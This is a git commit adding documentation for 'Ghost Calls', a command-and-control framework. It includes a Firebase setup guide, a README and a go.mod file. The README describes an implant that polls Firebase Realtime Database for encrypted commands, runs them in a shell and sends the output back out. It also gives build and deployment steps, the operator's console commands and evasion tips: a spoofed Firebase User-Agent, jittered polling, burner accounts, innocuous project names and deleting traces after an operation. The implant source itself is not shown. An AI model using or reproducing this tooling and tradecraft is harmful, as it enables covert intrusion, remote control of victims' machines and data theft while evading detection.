Upload files to "c2_ghost-push"

This commit is contained in:
2026-06-10 17:12:15 +00:00
parent 8608ebd3b3
commit 4682e74c0a
3 changed files with 652 additions and 0 deletions
+357
View File
@@ -0,0 +1,357 @@
# Firebase Project Setup Guide
This guide walks through creating a Firebase project for Ghost Calls using the Firebase CLI. No browser required.
## Prerequisites
- [Node.js](https://nodejs.org/) 18+ (for `firebase-tools` CLI)
- A Google account (use a **burner account** — never link to personal accounts)
- `curl` for testing API endpoints
---
## Step 1: Install Firebase CLI
```bash
npm install -g firebase-tools
```
Verify installation:
```bash
firebase --version
# Expected: 13.x or higher
```
---
## Step 2: Log In
```bash
firebase login
```
This opens a browser for OAuth authentication. If running headless (no browser), use:
```bash
firebase login --no-localhost
```
Follow the printed URL instructions to complete authentication.
---
## Step 3: Create the Firebase Project
```bash
# Create a new project (interactive — you'll be prompted for a project ID)
firebase projects:create
# You will be prompted:
# ? Please specify a unique project id (my-c2-project): ghost-calls-operational-42
# ? What would you like to call your project? Ghost Calls
```
> **Important:** The project ID must be globally unique across all Firebase projects. Choose something innocuous that won't raise suspicion. Good examples: `weather-app-sync-8472`, `note-taking-backup`. Bad examples: `c2-command-control`, `hacker-op-2024`.
### Headless Project Creation (Alternative)
If `firebase projects:create` is too interactive, use the Firebase Console REST API directly:
```bash
# First, get your access token
FIREBASE_TOKEN=$(firebase login:ci)
# Create the project
curl -X POST "https://firebase.googleapis.com/v1/projects" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"projectId": "ghost-calls-operational-42",
"displayName": "Note Sync",
"labels": {
"purpose": "development"
}
}'
```
---
## Step 4: Enable Firebase for the Project
```bash
# Add Firebase to the project
firebase init
# Select only "Firestore" or "Database" and "Hosting" if needed
# For Ghost Calls, we only need Realtime Database, so:
# - Toggle "Realtime Database" with SPACE
# - Press ENTER to confirm
```
If you get an error about project not found, the project may not have Firebase resources initialized yet. Fix:
```bash
# Explicitly add Firebase to the project
firebase projects:addfirebase <project-id>
```
---
## Step 5: Enable the Realtime Database
### Via CLI:
```bash
# List available Firebase features — verify RTDB is available
firebase --project=<project-id> firestore:databases:list 2>/dev/null || true
# Initialize Realtime Database through CLI
firebase --project=<project-id> init database
# You'll be prompted:
# ? What file should be used for Realtime Database Security Rules? database.rules.json
# Accept default or specify rtdb.rules.json
```
### Via REST API:
```bash
# Enable Realtime Database via REST
curl -X POST \
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"databaseId": "<project-id>-default-rtdb", "type": "DEFAULT_DATABASE"}'
```
Wait 30-60 seconds for the database instance to provision.
---
## Step 6: Get Your Database URL
```bash
# List Firebase projects and their resources
firebase --project=<project-id> databases:list 2>/dev/null || true
# OR use the REST API to find the database URL
curl -s \
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
| jq -r '.instances[].databaseUrl'
```
Your database URL will look like:
```
https://<project-id>-default-rtdb.firebaseio.com
```
---
## Step 7: Set Database Rules
For initial testing, set wide-open rules.
### Write the rules file (`database.rules.json`):
```json
{
"rules": {
".read": true,
".write": true
}
}
```
### Deploy rules:
```bash
# Via firebase-tools CLI
firebase --project=<project-id> deploy --only database
# OR via REST API
curl -X PUT \
"https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"rules":{".read":true,".write":true}}'
```
### Verify rules are deployed:
```bash
curl -s "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" | jq .
```
Expected output:
```json
{
"rules": {
".read": true,
".write": true
}
}
```
---
## Step 8: Get Firebase API Key
The API key is needed if you want to use Firebase Authentication or FCM. For the basic RTDB dead-drop, you don't strictly need it — but it's useful for auth-enabled access.
### Via CLI:
```bash
# List all Firebase project resources including Web API Key
firebase --project=<project-id> apps:list 2>/dev/null
# If no apps exist, create a Web app:
firebase --project=<project-id> apps:create WEB "ghost-ctl"
# Get the config for your web app (includes apiKey):
firebase --project=<project-id> apps:sdkconfig WEB <app-id>
```
### Via Google Cloud Console API:
```bash
# List all API keys for the project
curl -s \
"https://apikeys.googleapis.com/v2/projects/<project-id>/locations/global/keys" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
| jq '.keys[].displayName, .keys[].keyString'
```
---
## Step 9: Test the Database
Verify end-to-end connectivity:
```bash
# Write a test value
curl -X PUT \
"https://<project-id>-default-rtdb.firebaseio.com/test/hello.json" \
-H "Content-Type: application/json" \
-d '"world"'
# Read it back
curl -s "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
# Expected: "world"
# Delete the test value
curl -X DELETE "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
```
---
## Step 10: (Optional) Enable Firebase Cloud Messaging
For push-based command delivery (advanced):
```bash
# Enable FCM for the project
curl -X POST \
"https://fcm.googleapis.com/v1/projects/<project-id>/messages:send" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"message":{"topic":"test","data":{"test":"true"}}}'
```
To get FCM server credentials for the HTTP v1 API:
```bash
# Navigate to the Google Cloud Console IAM area for the Firebase service account
gcloud iam service-accounts list --project=<project-id>
# The Firebase service account looks like:
# firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com
# Generate a key for this account:
gcloud iam service-accounts keys create firebase-key.json \
--iam-account=firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com \
--project=<project-id>
```
Then use this key with Google's OAuth endpoints to get access tokens for FCM API calls. This is beyond the scope of the basic RTDB setup.
---
## Step 11: Clean Up (After Operation)
**Always** delete the Firebase project when the operation is complete:
```bash
# Delete the project (this cannot be undone)
firebase projects:delete <project-id>
# Confirm the deletion
# > ? Are you sure? Yes
```
Or via REST:
```bash
curl -X DELETE \
"https://firebase.googleapis.com/v1/projects/<project-id>" \
-H "Authorization: Bearer $FIREBASE_TOKEN"
```
---
## Environment Variables for Ghost Calls
Once your project is configured, export these for the Ghost Calls server:
```bash
# Database URL (from Step 6)
export FIREBASE_URL="https://<project-id>-default-rtdb.firebaseio.com"
# Encryption secret — generate a strong random key
export GHOST_SECRET="$(openssl rand -hex 32)"
# Port for the HTTP status page (optional, default: 9090)
export GHOST_PORT="9090"
```
For the implant:
```bash
./ghost-client \
--db-url "$FIREBASE_URL" \
--id "target-001" \
--secret "$GHOST_SECRET" \
--interval 30s \
--jitter 15s
```
---
## Troubleshooting
### "Permission denied" when reading/writing data
Your database rules are too restrictive. Either set `.read` and `.write` to `true`, or create proper auth rules.
### "Project not found" errors
The Firebase project may not have Realtime Database initialized. Run through Step 5 again.
### "Quota exceeded"
Free tier limits:
- 200 simultaneous connections
- 10 MB stored
- 10 GB/month downloaded
- 10,000 writes/hour
Upgrade to Blaze (pay-as-you-go) plan for higher limits, or reduce poll frequency.
### "Access denied" on REST calls
Your authentication token may be expired. Run `firebase login` again or generate a new CI token.
### Can't find the database URL
The database may still be provisioning. Wait 1-2 minutes and try again. Use the REST API in Step 6 to check.
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
+293
View File
@@ -0,0 +1,293 @@
# Ghost Calls — Push Notification C2
**Ghost Calls** is a Command & Control (C2) framework that uses **Firebase Cloud Messaging (FCM)** and **Firebase Realtime Database** as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to `firebaseio.com` and `googleapis.com`, domains that billions of devices talk to daily.
## Architecture
```
┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐
│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │
│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │
└─────────────┘ └────────────────────────────┘ └─────────────┘
│ │ │
│ HTTPS PUT │ REST API │ HTTPS GET
│ commands/<id>.json │ (over HTTPS) │ commands/<id>.json
│ │ │
│ │ │
│ HTTPS GET │ │ HTTPS PUT
│ results/<id>.json │ │ results/<id>/<cmd>.json
│ │ │
│ (Optional) │ │ DELETE
│ FCM HTTP v1 API │ │ commands/<id>.json
└────▶ FCM Send ─────────▶ Push notification ─────────────┘
```
### How It Works
1. **Command Injection** — The operator writes an encrypted command to the Firebase Realtime Database at `commands/<implant-id>.json`
2. **Polling** — The implant periodically reads its command path over HTTPS
3. **Execution** — The implant decrypts and executes the command via `/bin/sh -c` (or `cmd.exe /C` on Windows)
4. **Exfiltration** — The implant encrypts the output and writes it to `results/<implant-id>/<command-id>.json`
5. **Cleanup** — The implant deletes the command from Firebase, signaling it's been processed
6. **Collection** — The operator fetches results from `results/<implant-id>/` at any time
### Why Firebase?
| Feature | Benefit |
|---|---|
| **Domain reputation** | `firebaseio.com`, `googleapis.com` — billions of legitimate requests daily |
| **TLS by default** | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic |
| **No custom server** | Your C2 infrastructure is Firebase's infrastructure |
| **WebSocket fallback** | RTDB uses WebSockets when available — looks like normal Firebase sync |
| **Global CDN** | Low-latency from anywhere |
| **Free tier** | 1GB stored, 10GB/month download — plenty for a C2 operation |
## Quick Start
### 1. Prerequisites
- Go 1.21+ (for building)
- A Firebase project (see [FIREBASE_SETUP.md](FIREBASE_SETUP.md) for detailed instructions)
- The Firebase Realtime Database URL (looks like `https://my-project-default-rtdb.firebaseio.com`)
- A shared encryption secret (the `GHOST_SECRET`)
### 2. Build
```bash
# Build the server (operator console)
cd cmd/server
go build -o ../../bin/ghost-server .
# Build the client (implant)
cd cmd/client
go build -o ../../bin/ghost-client .
```
Or build everything at once:
```bash
mkdir -p bin
go build -o bin/ghost-server ./cmd/server
go build -o bin/ghost-client ./cmd/client
```
### 3. Configure Firebase
Set your database rules to allow read/write:
```json
{
"rules": {
".read": true,
".write": true
}
}
```
> **Warning:** Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below.
### 4. Start the Server
```bash
export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com"
export GHOST_SECRET="your-very-secret-key-change-this"
export GHOST_PORT="9090"
./bin/ghost-server
```
### 5. Deploy an Implant
```bash
./bin/ghost-client \
--project "my-project" \
--id "target-001" \
--secret "your-very-secret-key-change-this" \
--interval 30s \
--jitter 15s
```
### 6. Register and Send Commands
From the server console:
```
ghost> register target-001
[+] Registered implant target-001
ghost> list
ID FCM Token Last Seen
─────────────────────────────────────────────────────────────────────────
target-001 - 2026-05-11T22:00:00Z
ghost> exec target-001 uname -a
ghost> exec target-001 whoami
ghost> exec target-001 curl -s http://internal-service.local/status
ghost> results target-001
```
## Server Commands
| Command | Description |
|---|---|
| `register <id> [fcm_token]` | Register an implant (optionally with FCM token) |
| `exec <id> <command>` | Send a command to a specific implant |
| `broadcast <command>` | Send command to all registered implants |
| `list` | List all registered implants with metadata |
| `results <id>` | Fetch and display results from an implant |
| `forget <id>` | Remove an implant registration |
| `status` | Display server configuration and overview |
| `push <id> <json>` | Send raw FCM push payload (for testing) |
| `help` | Display help |
| `exit` | Shut down the server |
## Client Flags
| Flag | Default | Description |
|---|---|---|
| `--project` | — | Firebase project ID (e.g., `my-project`) |
| `--db-url` | — | Full Firebase RTDB URL (overrides `--project`) |
| `--id` | — | **Required.** Unique implant identifier |
| `--secret` | — | **Required.** Encryption secret (must match server) |
| `--interval` | `30s` | Base poll interval |
| `--jitter` | `15s` | Max random jitter added to each poll |
| `--verbose` | `false` | Enable verbose logging |
### Persistence
The implant writes its identity to `/etc/ghost/id` and secret to `/etc/ghost/secret` on first run. On subsequent runs, if `--id` is omitted, it reads from `/etc/ghost/id`. This allows pre-provisioning the implant by writing these files.
## Encryption
All command data is **encrypted at rest** in Firebase using **AES-256-GCM** before it ever leaves the server.
### Key Derivation
```
key = SHA-256(implant_id + ":" + server_secret)
```
- Each implant gets a **unique encryption key** derived from its ID + the shared server secret
- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe)
- The server secret itself is never stored in Firebase
### Encryption Flow
```
Server:
1. Derive key from implant ID + GHOST_SECRET
2. Encrypt command with AES-256-GCM (random nonce prepended)
3. Base64-encode ciphertext
4. Write to Firebase: { "cmd": "<base64>", "id": "<uuid>", "ts": <ms> }
Implant:
1. Read from Firebase
2. Base64-decode ciphertext
3. Derive same key from implant ID + secret
4. Decrypt with AES-256-GCM
5. Execute command
Result encryption follows the same pattern (encrypted with the same derived key).
```
## OpSec Notes
### Traffic Analysis
- **All traffic is HTTPS** to `firebaseio.com` — indistinguishable from legitimate Firebase SDK traffic
- The implant uses a `User-Agent: Firebase/8.10.0 (Android; Google; SDK)` header to blend in
- Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints
- `DisableKeepAlives: true` prevents persistent connections that could be fingerprinted
### Database Rules
**Development** (open to all):
```json
{
"rules": {
".read": true,
".write": true
}
}
```
**Production** (with Firebase Auth):
```json
{
"rules": {
"commands": {
"$implant_id": {
".read": "auth != null",
".write": "auth != null"
}
},
"results": {
"$implant_id": {
".read": "auth != null",
".write": "auth != null"
}
}
}
}
```
**Locked down** (custom auth token required):
```json
{
"rules": {
"commands": {
"$implant_id": {
".read": "auth.uid === $implant_id",
".write": "auth.uid === 'server'"
}
},
"results": {
"$implant_id": {
".read": "auth.uid === 'server'",
".write": "auth.uid === $implant_id"
}
}
}
}
```
### Encryption at Rest
- Commands are **always encrypted** before being written to Firebase
- The Firebase database never sees plaintext command data
- Even with database admin access, an adversary sees only base64 ciphertext
- **Never** use the server secret in the database rules or command payloads
### Rate Limiting
- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier)
- Implants should use jittered intervals of 30s+ to avoid triggering rate limits
- For large deployments, consider staggering implant start times
- Upgrade to Blaze plan for higher limits in production operations
### Operational Security
1. **Use a burner Google account** to create the Firebase project — never link to personal accounts
2. **Enable Firebase Auth** with email/password or custom tokens for production use
3. **Rotate the GHOST_SECRET** between operations
4. **Use unique implant IDs** — never reuse across targets
5. **Consider using Firebase App Check** for additional verification
6. **Delete the Firebase project entirely** after the operation
## FCM Integration (Advanced)
The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need:
1. Enable Firebase Cloud Messaging in your Firebase project
2. An Android app (or a device with FCM capability) on the target
3. The implant registers for FCM and sends its registration token to the server
4. The server uses the FCM HTTP v1 API to push commands directly to the device
An FCM push-based approach is more sophisticated and harder to detect, but requires:
- More complex implant code (FCM SDK or manual HTTP/2 push handling)
- An Android/iOS runtime or a way to register for push notifications
- Higher OpSec requirements (Google Play Services integration)
The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support.
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
+2
View File
@@ -0,0 +1,2 @@
go 1.26
module github.com/churchofmalware/c2-ghost-push